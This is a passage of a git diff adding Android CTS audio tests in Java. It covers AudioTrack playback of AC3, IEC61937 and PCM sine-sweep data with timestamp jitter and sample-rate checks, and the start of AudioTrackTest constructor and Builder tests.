+        short[] mainBuffer = new short[byteBuffer.length / 2];
+        for (int i = 0; i < mainBuffer.length; i++) {
+            mainBuffer[i] = shortBuffer.get();
+        }
+        return mainBuffer;
+    }
+
+    public void testLoadSineSweep() throws Exception {
+        final String TEST_NAME = "testLoadSineSweep";
+        short[] shortData = loadRawResourceShorts(R.raw.sinesweepraw);
+        assertTrue(TEST_NAME + ": load sinesweepraw as shorts", shortData.length > 100);
+        byte[] byteData = loadRawResourceBytes(R.raw.sinesweepraw);
+        assertTrue(TEST_NAME + ": load sinesweepraw as bytes", byteData.length > shortData.length);
+    }
+
+    private static AudioTrack createAudioTrack(int sampleRate, int encoding, int channelConfig) {
+        final String TEST_NAME = "createAudioTrack";
+        int minBufferSize = AudioTrack.getMinBufferSize(
+                sampleRate, channelConfig,
+                encoding);
+        assertTrue(TEST_NAME + ": getMinBufferSize", minBufferSize > 0);
+        int bufferSize = minBufferSize * 3; // plenty big
+        AudioTrack track = new AudioTrack(AudioManager.STREAM_MUSIC,
+                sampleRate, channelConfig,
+                encoding, bufferSize,
+                AudioTrack.MODE_STREAM);
+        return track;
+    }
+
+    static class TimestampAnalyzer {
+        ArrayList<AudioTimestamp> mTimestamps = new ArrayList<AudioTimestamp>();
+        AudioTimestamp mPreviousTimestamp = null;
+
+        static String timestampToString(AudioTimestamp timestamp) {
+            if (timestamp == null)
+                return "null";
+            return "(pos = " + timestamp.framePosition + ", nanos = " + timestamp.nanoTime + ")";
+        }
+
+        // Add timestamp if unique and valid.
+        void addTimestamp(AudioTrack track) {
+            AudioTimestamp timestamp = new AudioTimestamp();
+            boolean gotTimestamp = track.getTimestamp(timestamp);
+            if (gotTimestamp) {
+                // Only save timestamps after the data is flowing.
+                boolean accepted = mPreviousTimestamp != null
+                        && timestamp.framePosition > 0
+                        && timestamp.nanoTime != mPreviousTimestamp.nanoTime
+                        && timestamp.framePosition != mPreviousTimestamp.framePosition;
+                if (accepted) {
+                    mTimestamps.add(timestamp);
+                }
+                Log.d(TAG, (accepted ? "" : "NOT ") + "added ts " + timestampToString(timestamp));
+                mPreviousTimestamp = timestamp;
+            }
+        }
+
+        void checkIndividualTimestamps(int sampleRate) {
+            AudioTimestamp previous = null;
+            double sumDeltaSquared = 0.0;
+            int populationSize = 0;
+            double maxDeltaMillis = 0.0;
+            // Make sure the timestamps are smooth and don't go retrograde.
+            for (AudioTimestamp timestamp : mTimestamps) {
+                if (previous != null) {
+
+                    assertTrue("framePosition must be monotonic",
+                            timestamp.framePosition >= previous.framePosition);
+                    assertTrue("nanoTime must be monotonic",
+                            timestamp.nanoTime >= previous.nanoTime);
+
+                    if (timestamp.framePosition > previous.framePosition) {
+                        // Measure timing jitter.
+                        // Calculate predicted duration based on measured rate and compare
+                        // it with actual duration.
+                        final double TOLERANCE_MILLIS = 2.0;
+                        long elapsedFrames = timestamp.framePosition - previous.framePosition;
+                        long elapsedNanos = timestamp.nanoTime - previous.nanoTime;
+                        double measuredMillis = elapsedNanos / (double) NANOS_PER_MILLISECOND;
+                        double expectedMillis = elapsedFrames * (double) MILLIS_PER_SECOND
+                            / sampleRate;
+                        double deltaMillis = measuredMillis - expectedMillis;
+                        sumDeltaSquared += deltaMillis * deltaMillis;
+                        populationSize++;
+                        // We only issue a warning here because the CDD does not mandate a
+                        // specific tolerance.
+                        double absDeltaMillis = Math.abs(deltaMillis);
+                        if (absDeltaMillis > TOLERANCE_MILLIS) {
+                            Log.w(TAG, "measured time exceeds expected"
+                                + ", srate = " + sampleRate
+                                + ", frame = " + timestamp.framePosition
+                                + ", expected = " + expectedMillis
+                                + ", measured = " + measuredMillis + " (msec)"
+                                );
+                        }
+                        if (absDeltaMillis > maxDeltaMillis) {
+                            maxDeltaMillis = absDeltaMillis;
+                        }
+                    }
+                }
+                previous = timestamp;
+            }
+            Log.d(TAG, "max abs(delta) from expected duration = " + maxDeltaMillis + " msec");
+            if (populationSize > 0) {
+                double deviation = Math.sqrt(sumDeltaSquared / populationSize);
+                Log.d(TAG, "standard deviation from expected duration = " + deviation + " msec");
+            }
+        }
+
+        // Use collected timestamps to estimate a sample rate.
+        double estimateSampleRate() {
+            Log.w(TAG, "timestamps collected: " + mTimestamps.size());
+            assertTrue("expect many timestamps, got " + mTimestamps.size(),
+                    mTimestamps.size() > 10);
+            // Use first and last timestamp to get the most accurate rate.
+            AudioTimestamp first = mTimestamps.get(0);
+            AudioTimestamp last = mTimestamps.get(mTimestamps.size() - 1);
+            return calculateSampleRate(first, last);
+        }
+
+        /**
+         * @param timestamp1
+         * @param timestamp2
+         */
+        private double calculateSampleRate(AudioTimestamp timestamp1, AudioTimestamp timestamp2) {
+            long elapsedFrames = timestamp2.framePosition - timestamp1.framePosition;
+            long elapsedNanos = timestamp2.nanoTime - timestamp1.nanoTime;
+            double measuredRate = elapsedFrames * (double) NANOS_PER_SECOND / elapsedNanos;
+            if (LOG_TIMESTAMPS) {
+                Log.i(TAG, "calculateSampleRate(), elapsedFrames =, " + elapsedFrames
+                        + ", measuredRate =, "
+                        + (int) measuredRate);
+            }
+            return measuredRate;
+        }
+    }
+
+    // Class for looping a recording for several seconds and measuring the sample rate.
+    // This is not static because it needs to call getContext().
+    abstract class SamplePlayerBase {
+        private final int mSampleRate;
+        private final int mEncoding;
+        private final int mChannelConfig;
+        private int mBlockSize = 512;
+        protected int mOffset = 0;
+        protected AudioTrack mTrack;
+        private final TimestampAnalyzer mTimestampAnalyzer = new TimestampAnalyzer();
+
+        SamplePlayerBase(int sampleRate, int encoding, int channelConfig) {
+            mSampleRate = sampleRate;
+            mEncoding = encoding;
+            mChannelConfig = channelConfig;
+        }
+
+        // Use abstract write to handle byte[] or short[] data.
+        protected abstract int writeBlock(int numSamples);
+
+        private int primeBuffer() {
+            // Will not block when track is stopped.
+            return writeBlock(Integer.MAX_VALUE);
+        }
+
+        // Add a warning to the assert message that might help folks figure out why their
+        // PCM test is failing.
+        private String getPcmWarning() {
+            return (mInfoPCM16 == null && AudioFormat.isEncodingLinearPcm(mEncoding))
+                ? " (No PCM device!)" : "";
+        }
+
+        /**
+         * Use a device that we know supports the current encoding.
+         */
+        private void usePreferredDevice() {
+            AudioDeviceInfo info = null;
+            switch (mEncoding) {
+                case AudioFormat.ENCODING_PCM_16BIT:
+                    info = mInfoPCM16;
+                    break;
+                case AudioFormat.ENCODING_AC3:
+                    info = mInfoAC3;
+                    break;
+                case AudioFormat.ENCODING_E_AC3:
+                    info = mInfoE_AC3;
+                    break;
+                case AudioFormat.ENCODING_DTS:
+                    info = mInfoDTS;
+                    break;
+                case AudioFormat.ENCODING_DTS_HD:
+                    info = mInfoDTS_HD;
+                    break;
+                case AudioFormat.ENCODING_IEC61937:
+                    info = mInfoIEC61937;
+                    break;
+                default:
+                    break;
+            }
+
+            if (info != null) {
+                log(TAG, "track.setPreferredDevice(" + info + ")");
+                mTrack.setPreferredDevice(info);
+            }
+        }
+
+        public void playAndMeasureRate(long testDurationMillis) throws Exception {
+            final String TEST_NAME = "playAndMeasureRate";
+
+            if (mLastPlayedEncoding == AudioFormat.ENCODING_INVALID ||
+                    !AudioFormat.isEncodingLinearPcm(mEncoding) ||
+                    !AudioFormat.isEncodingLinearPcm(mLastPlayedEncoding)) {
+                Log.d(TAG, "switching from format: " + mLastPlayedEncoding
+                        + " to: " + mEncoding
+                        + " requires sleep");
+                // Switching between compressed formats may require
+                // some time for the HAL to adjust and give proper timing.
+                // One second should be ok, but we use 2 just in case.
+                Thread.sleep(2000 /* millis */);
+            }
+            mLastPlayedEncoding = mEncoding;
+
+            log(TEST_NAME, String.format("test using rate = %d, encoding = 0x%08x",
+                    mSampleRate, mEncoding));
+            // Create a track and prime it.
+            mTrack = createAudioTrack(mSampleRate, mEncoding, mChannelConfig);
+            try {
+                assertEquals(TEST_NAME + ": track created" + getPcmWarning(),
+                        AudioTrack.STATE_INITIALIZED,
+                        mTrack.getState());
+
+                if (USE_PREFERRED_DEVICE) {
+                    usePreferredDevice();
+                }
+
+                int bytesWritten = 0;
+                mOffset = primeBuffer(); // prime the buffer
+                assertTrue(TEST_NAME + ": priming offset = " + mOffset + getPcmWarning(),
+                    mOffset > 0);
+                bytesWritten += mOffset;
+
+                // Play for a while.
+                mTrack.play();
+
+                log(TEST_NAME, "native rate = "
+                        + mTrack.getNativeOutputSampleRate(mTrack.getStreamType()));
+                long elapsedMillis = 0;
+                long startTime = System.currentTimeMillis();
+                while (elapsedMillis < testDurationMillis) {
+                    writeBlock(mBlockSize);
+                    elapsedMillis = System.currentTimeMillis() - startTime;
+                    mTimestampAnalyzer.addTimestamp(mTrack);
+                }
+
+                // Did we underrun? Allow 0 or 1 because there is sometimes
+                // an underrun on startup.
+                int underrunCount1 = mTrack.getUnderrunCount();
+                assertTrue(TEST_NAME + ": too many underruns, got underrunCount1" + getPcmWarning(),
+                        underrunCount1 < 2);
+
+                // Estimate the sample rate and compare it with expected.
+                double estimatedRate = mTimestampAnalyzer.estimateSampleRate();
+                Log.d(TAG, "measured sample rate = " + estimatedRate);
+                assertEquals(TEST_NAME + ": measured sample rate" + getPcmWarning(),
+                        mSampleRate, estimatedRate, mSampleRate * MAX_RATE_TOLERANCE_FRACTION);
+
+                // Check for jitter or retrograde motion in each timestamp.
+                mTimestampAnalyzer.checkIndividualTimestamps(mSampleRate);
+
+            } finally {
+                mTrack.release();
+            }
+        }
+    }
+
+    // Create player for short[]
+    class SamplePlayerShorts extends SamplePlayerBase {
+        private final short[] mData;
+
+        SamplePlayerShorts(int sampleRate, int encoding, int channelConfig) {
+            super(sampleRate, encoding, channelConfig);
+            mData = new short[64 * 1024];
+            // Fill with noise. We should not hear the noise for IEC61937.
+            int amplitude = 8000;
+            Random random = new Random();
+            for (int i = 0; i < mData.length; i++) {
+                mData[i] = (short)(random.nextInt(amplitude) - (amplitude / 2));
+            }
+        }
+
+        SamplePlayerShorts(int sampleRate, int encoding, int channelConfig, @RawRes int resourceId)
+                throws Exception {
+            super(sampleRate, encoding, channelConfig);
+            mData = loadRawResourceShorts(resourceId);
+            assertTrue("SamplePlayerShorts: load resource file as shorts", mData.length > 0);
+        }
+
+        @Override
+        protected int writeBlock(int numShorts) {
+            int result = 0;
+            int shortsToWrite = numShorts;
+            int shortsLeft = mData.length - mOffset;
+            if (shortsToWrite > shortsLeft) {
+                shortsToWrite = shortsLeft;
+            }
+            if (shortsToWrite > 0) {
+                result = mTrack.write(mData, mOffset, shortsToWrite);
+                mOffset += result;
+            } else {
+                mOffset = 0; // rewind
+            }
+            return result;
+        }
+    }
+
+    // Create player for byte[]
+    class SamplePlayerBytes extends SamplePlayerBase {
+        private final byte[] mData;
+
+        SamplePlayerBytes(int sampleRate, int encoding, int channelConfig) {
+            super(sampleRate, encoding, channelConfig);
+            mData = new byte[128 * 1024];
+        }
+
+        SamplePlayerBytes(int sampleRate, int encoding, int channelConfig, @RawRes int resourceId)
+                throws Exception {
+            super(sampleRate, encoding, channelConfig);
+            mData = loadRawResourceBytes(resourceId);
+            assertTrue("SamplePlayerBytes: load resource file as bytes", mData.length > 0);
+        }
+
+        @Override
+        protected int writeBlock(int numBytes) {
+            int result = 0;
+            int bytesToWrite = numBytes;
+            int bytesLeft = mData.length - mOffset;
+            if (bytesToWrite > bytesLeft) {
+                bytesToWrite = bytesLeft;
+            }
+            if (bytesToWrite > 0) {
+                result = mTrack.write(mData, mOffset, bytesToWrite);
+                mOffset += result;
+            } else {
+                mOffset = 0; // rewind
+            }
+            return result;
+        }
+    }
+
+    public void testPlayAC3Bytes() throws Exception {
+        if (mInfoAC3 != null) {
+            SamplePlayerBytes player = new SamplePlayerBytes(
+                    48000, AudioFormat.ENCODING_AC3, AudioFormat.CHANNEL_OUT_STEREO,
+                    RES_AC3_VOICE_48000);
+            player.playAndMeasureRate(SAMPLE_RATE_LONG_TEST_DURATION_MILLIS);
+        }
+    }
+
+    public void testPlayAC3Shorts() throws Exception {
+        if (mInfoAC3 != null) {
+            SamplePlayerShorts player = new SamplePlayerShorts(
+                    48000, AudioFormat.ENCODING_AC3, AudioFormat.CHANNEL_OUT_STEREO,
+                    RES_AC3_VOICE_48000);
+            player.playAndMeasureRate(SAMPLE_RATE_LONG_TEST_DURATION_MILLIS);
+        }
+    }
+
+    public void testPlayIEC61937_32000() throws Exception {
+        if (mInfoIEC61937 != null) {
+            SamplePlayerShorts player = new SamplePlayerShorts(
+                    32000, AudioFormat.ENCODING_IEC61937, AudioFormat.CHANNEL_OUT_STEREO,
+                    RES_AC3_SPDIF_VOICE_32000);
+            player.playAndMeasureRate(SAMPLE_RATE_LONG_TEST_DURATION_MILLIS);
+        }
+    }
+
+    public void testPlayIEC61937_44100() throws Exception {
+        if (mInfoIEC61937 != null) {
+            SamplePlayerShorts player = new SamplePlayerShorts(
+                    44100, AudioFormat.ENCODING_IEC61937, AudioFormat.CHANNEL_OUT_STEREO,
+                    RES_AC3_SPDIF_VOICE_44100);
+            player.playAndMeasureRate(SAMPLE_RATE_LONG_TEST_DURATION_MILLIS);
+        }
+    }
+
+    public void testPlayIEC61937_48000() throws Exception {
+        if (mInfoIEC61937 != null) {
+            SamplePlayerShorts player = new SamplePlayerShorts(
+                    48000, AudioFormat.ENCODING_IEC61937, AudioFormat.CHANNEL_OUT_STEREO,
+                    RES_AC3_SPDIF_VOICE_48000);
+            player.playAndMeasureRate(SAMPLE_RATE_LONG_TEST_DURATION_MILLIS);
+        }
+    }
+
+    public void testPcmSupport() throws Exception {
+        if (REQUIRE_PCM_DEVICE) {
+            // There should always be a fake PCM device available.
+            assertTrue("testPcmSupport: PCM should be supported."
+                    + " On ATV device please check HDMI connection.",
+                    mInfoPCM16 != null);
+        }
+    }
+
+    private boolean isPcmTestingEnabled() {
+        return (mInfoPCM16 != null || !REQUIRE_PCM_DEVICE);
+    }
+
+    public void testPlaySineSweepShorts() throws Exception {
+        if (isPcmTestingEnabled()) {
+            SamplePlayerShorts player = new SamplePlayerShorts(
+                    44100, AudioFormat.ENCODING_PCM_16BIT, AudioFormat.CHANNEL_OUT_STEREO,
+                    R.raw.sinesweepraw);
+            player.playAndMeasureRate(SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS);
+        }
+    }
+
+    public void testPlaySineSweepBytes() throws Exception {
+        if (isPcmTestingEnabled()) {
+            SamplePlayerBytes player = new SamplePlayerBytes(
+                    44100, AudioFormat.ENCODING_PCM_16BIT, AudioFormat.CHANNEL_OUT_STEREO,
+                    R.raw.sinesweepraw);
+            player.playAndMeasureRate(SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS);
+        }
+    }
+
+    public void testPlaySineSweepBytes48000() throws Exception {
+        if (isPcmTestingEnabled()) {
+            SamplePlayerBytes player = new SamplePlayerBytes(
+                    48000, AudioFormat.ENCODING_PCM_16BIT, AudioFormat.CHANNEL_OUT_STEREO,
+                    R.raw.sinesweepraw);
+            player.playAndMeasureRate(SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS);
+        }
+    }
+
+    public void testPlaySineSweepShortsMono() throws Exception {
+        if (isPcmTestingEnabled()) {
+            SamplePlayerShorts player = new SamplePlayerShorts(44100, AudioFormat.ENCODING_PCM_16BIT,
+                    AudioFormat.CHANNEL_OUT_MONO,
+                    R.raw.sinesweepraw);
+            player.playAndMeasureRate(SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS);
+        }
+    }
+
+    public void testPlaySineSweepBytesMono()
+            throws Exception {
+        if (isPcmTestingEnabled()) {
+            SamplePlayerBytes player = new SamplePlayerBytes(44100, AudioFormat.ENCODING_PCM_16BIT,
+                    AudioFormat.CHANNEL_OUT_MONO, R.raw.sinesweepraw);
+            player.playAndMeasureRate(SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS);
+        }
+    }
+
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackTest.java
new file mode 100644
index 0000000..bcc48a9
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackTest.java
@@ -0,0 +1,3535 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioMetadata;
+import android.media.AudioMetadataReadMap;
+import android.media.AudioPresentation;
+import android.media.AudioSystem;
+import android.media.AudioTimestamp;
+import android.media.AudioTrack;
+import android.media.PlaybackParams;
+import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.PlaybackSession;
+import android.media.cts.AudioHelper;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.PersistableBundle;
+import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import java.nio.ByteBuffer;
+import java.nio.FloatBuffer;
+import java.nio.ShortBuffer;
+import java.util.concurrent.Executor;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class AudioTrackTest {
+    private String TAG = "AudioTrackTest";
+    private final long WAIT_MSEC = 200;
+    private final int OFFSET_DEFAULT = 0;
+    private final int OFFSET_NEGATIVE = -10;
+
+    private void log(String testName, String message) {
+        Log.v(TAG, "[" + testName + "] " + message);
+    }
+
+    private void loge(String testName, String message) {
+        Log.e(TAG, "[" + testName + "] " + message);
+    }
+
+    // -----------------------------------------------------------------
+    // private class to hold test results
+    private static class TestResults {
+        public boolean mResult = false;
+        public String mResultLog = "";
+
+        public TestResults(boolean b, String s) {
+            mResult = b;
+            mResultLog = s;
+        }
+    }
+
+    // -----------------------------------------------------------------
+    // generic test methods
+    public TestResults constructorTestMultiSampleRate(
+    // parameters tested by this method
+            int _inTest_streamType, int _inTest_mode, int _inTest_config, int _inTest_format,
+            // parameter-dependent expected results
+            int _expected_stateForMode) {
+
+        int[] testSampleRates = { 8000, 11025, 12000, 16000, 22050, 24000, 32000, 44100, 48000 };
+        String failedRates = "Failure for rate(s): ";
+        boolean localRes, finalRes = true;
+
+        for (int i = 0; i < testSampleRates.length; i++) {
+            AudioTrack track = null;
+            try {
+                track = new AudioTrack(_inTest_streamType, testSampleRates[i], _inTest_config,
+                        _inTest_format, AudioTrack.getMinBufferSize(testSampleRates[i],
+                                _inTest_config, _inTest_format), _inTest_mode);
+            } catch (IllegalArgumentException iae) {
+                Log.e("MediaAudioTrackTest", "[ constructorTestMultiSampleRate ] exception at SR "
+                        + testSampleRates[i] + ": \n" + iae);
+                localRes = false;
+            }
+            if (track != null) {
+                localRes = (track.getState() == _expected_stateForMode);
+                track.release();
+            } else {
+                localRes = false;
+            }
+
+            if (!localRes) {
+                // log the error for the test runner
+                failedRates += Integer.toString(testSampleRates[i]) + "Hz ";
+                // log the error for logcat
+                log("constructorTestMultiSampleRate", "failed to construct "
+                        + "AudioTrack(streamType="
+                        + _inTest_streamType
+                        + ", sampleRateInHz="
+                        + testSampleRates[i]
+                        + ", channelConfig="
+                        + _inTest_config
+                        + ", audioFormat="
+                        + _inTest_format
+                        + ", bufferSizeInBytes="
+                        + AudioTrack.getMinBufferSize(testSampleRates[i], _inTest_config,
+                                AudioFormat.ENCODING_PCM_16BIT) + ", mode=" + _inTest_mode);
+                // mark test as failed
+                finalRes = false;
+            }
+        }
+        return new TestResults(finalRes, failedRates);
+    }
+
+    // -----------------------------------------------------------------
+    // AUDIOTRACK TESTS:
+    // ----------------------------------
+
+    // -----------------------------------------------------------------
+    // AudioTrack constructor and AudioTrack.getMinBufferSize(...) for 16bit PCM
+    // ----------------------------------
+
+    // Test case 1: constructor for streaming AudioTrack, mono, 16bit at misc
+    // valid sample rates
+    @Test
+    public void testConstructorMono16MusicStream() throws Exception {
+
+        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
+                AudioTrack.MODE_STREAM, AudioFormat.CHANNEL_CONFIGURATION_MONO,
+                AudioFormat.ENCODING_PCM_16BIT, AudioTrack.STATE_INITIALIZED);
+
+        assertTrue("testConstructorMono16MusicStream: " + res.mResultLog, res.mResult);
+    }
+
+    // Test case 2: constructor for streaming AudioTrack, stereo, 16bit at misc
+    // valid sample rates
+    @Test
+    public void testConstructorStereo16MusicStream() throws Exception {
+
+        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
+                AudioTrack.MODE_STREAM, AudioFormat.CHANNEL_CONFIGURATION_STEREO,
+                AudioFormat.ENCODING_PCM_16BIT, AudioTrack.STATE_INITIALIZED);
+
+        assertTrue("testConstructorStereo16MusicStream: " + res.mResultLog, res.mResult);
+    }
+
+    // Test case 3: constructor for static AudioTrack, mono, 16bit at misc valid
+    // sample rates
+    @Test
+    public void testConstructorMono16MusicStatic() throws Exception {
+
+        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
+                AudioTrack.MODE_STATIC, AudioFormat.CHANNEL_CONFIGURATION_MONO,
+                AudioFormat.ENCODING_PCM_16BIT, AudioTrack.STATE_NO_STATIC_DATA);
+
+        assertTrue("testConstructorMono16MusicStatic: " + res.mResultLog, res.mResult);
+    }
+
+    // Test case 4: constructor for static AudioTrack, stereo, 16bit at misc
+    // valid sample rates
+    @Test
+    public void testConstructorStereo16MusicStatic() throws Exception {
+
+        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
+                AudioTrack.MODE_STATIC, AudioFormat.CHANNEL_CONFIGURATION_STEREO,
+                AudioFormat.ENCODING_PCM_16BIT, AudioTrack.STATE_NO_STATIC_DATA);
+
+        assertTrue("testConstructorStereo16MusicStatic: " + res.mResultLog, res.mResult);
+    }
+
+    // -----------------------------------------------------------------
+    // AudioTrack constructor and AudioTrack.getMinBufferSize(...) for 8bit PCM
+    // ----------------------------------
+
+    // Test case 1: constructor for streaming AudioTrack, mono, 8bit at misc
+    // valid sample rates
+    @Test
+    public void testConstructorMono8MusicStream() throws Exception {
+
+        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
+                AudioTrack.MODE_STREAM, AudioFormat.CHANNEL_CONFIGURATION_MONO,
+                AudioFormat.ENCODING_PCM_8BIT, AudioTrack.STATE_INITIALIZED);
+
+        assertTrue("testConstructorMono8MusicStream: " + res.mResultLog, res.mResult);
+    }
+
+    // Test case 2: constructor for streaming AudioTrack, stereo, 8bit at misc
+    // valid sample rates
+    @Test
+    public void testConstructorStereo8MusicStream() throws Exception {
+
+        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
+                AudioTrack.MODE_STREAM, AudioFormat.CHANNEL_CONFIGURATION_STEREO,
+                AudioFormat.ENCODING_PCM_8BIT, AudioTrack.STATE_INITIALIZED);
+
+        assertTrue("testConstructorStereo8MusicStream: " + res.mResultLog, res.mResult);
+    }
+
+    // Test case 3: constructor for static AudioTrack, mono, 8bit at misc valid
+    // sample rates
+    @Test
+    public void testConstructorMono8MusicStatic() throws Exception {
+
+        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
+                AudioTrack.MODE_STATIC, AudioFormat.CHANNEL_CONFIGURATION_MONO,
+                AudioFormat.ENCODING_PCM_8BIT, AudioTrack.STATE_NO_STATIC_DATA);
+
+        assertTrue("testConstructorMono8MusicStatic: " + res.mResultLog, res.mResult);
+    }
+
+    // Test case 4: constructor for static AudioTrack, stereo, 8bit at misc
+    // valid sample rates
+    @Test
+    public void testConstructorStereo8MusicStatic() throws Exception {
+
+        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
+                AudioTrack.MODE_STATIC, AudioFormat.CHANNEL_CONFIGURATION_STEREO,
+                AudioFormat.ENCODING_PCM_8BIT, AudioTrack.STATE_NO_STATIC_DATA);
+
+        assertTrue("testConstructorStereo8MusicStatic: " + res.mResultLog, res.mResult);
+    }
+
+    // -----------------------------------------------------------------
+    // AudioTrack constructor for all stream types
+    // ----------------------------------
+
+    // Test case 1: constructor for all stream types
+    @Test
+    public void testConstructorStreamType() throws Exception {
+        // constants for test
+        final int TYPE_TEST_SR = 22050;
+        final int TYPE_TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
+        final int TYPE_TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TYPE_TEST_MODE = AudioTrack.MODE_STREAM;
+        final int[] STREAM_TYPES = { AudioManager.STREAM_ALARM, AudioManager.STREAM_MUSIC,
+                AudioManager.STREAM_NOTIFICATION, AudioManager.STREAM_RING,
+                AudioManager.STREAM_SYSTEM, AudioManager.STREAM_VOICE_CALL };
+        final String[] STREAM_NAMES = { "STREAM_ALARM", "STREAM_MUSIC", "STREAM_NOTIFICATION",
+                "STREAM_RING", "STREAM_SYSTEM", "STREAM_VOICE_CALL" };
+
+        boolean localTestRes = true;
+        AudioTrack track = null;
+        // test: loop constructor on all stream types
+        for (int i = 0; i < STREAM_TYPES.length; i++) {
+            try {
+                // -------- initialization --------------
+                track = new AudioTrack(STREAM_TYPES[i], TYPE_TEST_SR, TYPE_TEST_CONF,
+                        TYPE_TEST_FORMAT, AudioTrack.getMinBufferSize(TYPE_TEST_SR, TYPE_TEST_CONF,
+                                TYPE_TEST_FORMAT), TYPE_TEST_MODE);
+            } catch (IllegalArgumentException iae) {
+                loge("testConstructorStreamType", "exception for stream type " + STREAM_NAMES[i]
+                        + ": " + iae);
+                localTestRes = false;
+            }
+            // -------- test --------------
+            if (track != null) {
+                if (track.getState() != AudioTrack.STATE_INITIALIZED) {
+                    localTestRes = false;
+                    Log.e("MediaAudioTrackTest",
+                            "[ testConstructorStreamType ] failed for stream type "
+                                    + STREAM_NAMES[i]);
+                }
+                // -------- tear down --------------
+                track.release();
+            } else {
+                localTestRes = false;
+            }
+        }
+
+        assertTrue("testConstructorStreamType", localTestRes);
+    }
+
+    // -----------------------------------------------------------------
+    // AudioTrack construction with Builder
+    // ----------------------------------
+
+    // Test case 1: build AudioTrack with default parameters, test documented default params
+    @Test
+    public void testBuilderDefault() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testBuilderDefault";
+        final int expectedDefaultEncoding = AudioFormat.ENCODING_PCM_16BIT;
+        final int expectedDefaultRate =
+                AudioTrack.getNativeOutputSampleRate(AudioManager.STREAM_MUSIC);
+        final int expectedDefaultChannels = AudioFormat.CHANNEL_OUT_STEREO;
+        // use Builder
+        final int buffSizeInBytes = AudioTrack.getMinBufferSize(
+                expectedDefaultRate, expectedDefaultChannels, expectedDefaultEncoding);
+        final AudioTrack track = new AudioTrack.Builder()
+                .setBufferSizeInBytes(buffSizeInBytes)
+                .build();
+        // save results
+        final int observedState = track.getState();
+        final int observedFormat = track.getAudioFormat();
+        final int observedChannelConf = track.getChannelConfiguration();
+        final int observedRate = track.getSampleRate();
+        // release track before the test exits (either successfully or with an exception)
+        track.release();
+        // compare results
+        assertEquals(TEST_NAME + ": Track initialized", AudioTrack.STATE_INITIALIZED,
+                observedState);
+        assertEquals(TEST_NAME + ": Default track encoding", expectedDefaultEncoding,
+                observedFormat);
+        assertEquals(TEST_NAME + ": Default track channels", expectedDefaultChannels,
+                observedChannelConf);
+    }
+
+    // Test case 2: build AudioTrack with AudioFormat, test it's used
+    @Test
+    public void testBuilderFormat() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testBuilderFormat";
+        final int TEST_RATE = 32000;
+        final int TEST_CHANNELS = AudioFormat.CHANNEL_OUT_STEREO;
+        // use Builder
+        final int buffSizeInBytes = AudioTrack.getMinBufferSize(
+                TEST_RATE, TEST_CHANNELS, AudioFormat.ENCODING_PCM_16BIT);
+        final AudioTrack track = new AudioTrack.Builder()
+                .setAudioAttributes(new AudioAttributes.Builder().build())
+                .setBufferSizeInBytes(buffSizeInBytes)
+                .setAudioFormat(new AudioFormat.Builder()
+                        .setChannelMask(TEST_CHANNELS).setSampleRate(TEST_RATE).build())
+                .build();
+        // save results
+        final int observedState = track.getState();
+        final int observedChannelConf = track.getChannelConfiguration();
+        final int observedRate = track.getSampleRate();
+        // release track before the test exits (either successfully or with an exception)
+        track.release();
+        // compare results
+        assertEquals(TEST_NAME + ": Track initialized", AudioTrack.STATE_INITIALIZED,
+                observedState);
+        assertEquals(TEST_NAME + ": Track channels", TEST_CHANNELS, observedChannelConf);
+        assertEquals(TEST_NAME + ": Track sample rate", TEST_RATE, observedRate);
+    }
+
+    // Test case 3: build AudioTrack with session ID, test it's used
+    @Test
+    public void testBuilderSession() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testBuilderSession";
+        // generate a session ID
+        final int expectedSessionId = new AudioManager(getContext()).generateAudioSessionId();
+        // use builder
+        final AudioTrack track = new AudioTrack.Builder()
+                .setSessionId(expectedSessionId)
+                .build();
+        // save results
